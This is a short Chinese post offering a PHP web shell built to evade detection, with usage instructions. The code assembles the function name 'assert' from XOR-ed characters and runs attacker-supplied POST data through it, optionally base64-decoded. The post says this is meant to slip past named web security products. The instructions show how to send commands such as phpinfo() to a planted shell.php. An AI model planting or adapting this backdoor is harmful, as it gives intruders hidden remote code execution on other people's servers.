免杀PHP一句话一枚

免杀PHP一句话shell，利用随机异或免杀D盾，免杀安全狗护卫神等

<?php
class VONE {
 function HALB() {
 $rlf = 'B' ^ "\x23";
 $fzq = 'D' ^ "\x37";
 $fgu = 'h' ^ "\x1b";
 $sbe = 'R' ^ "\x37";
 $gba = 'H' ^ "\x3a";
 $oya = 'Y' ^ "\x2d";
 $MWUC = $rlf . $fzq . $fgu . $sbe . $gba . $oya;
 return $MWUC;}function __destruct() {
 $RNUJ = $this->HALB();
 @$RNUJ($this->HY);}}
$vone = new VONE();
@$vone->HY = isset($_GET['id']) ? base64_decode($_POST['mr6']) : $_POST['mr6'];
?>

　　

使用说明

是否传入id参数决定是否把流量编码

http://www.xxx.com/shell.php
POST: mr6=phpinfo();  //与普通shell相同

http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo=  //payload的base64编码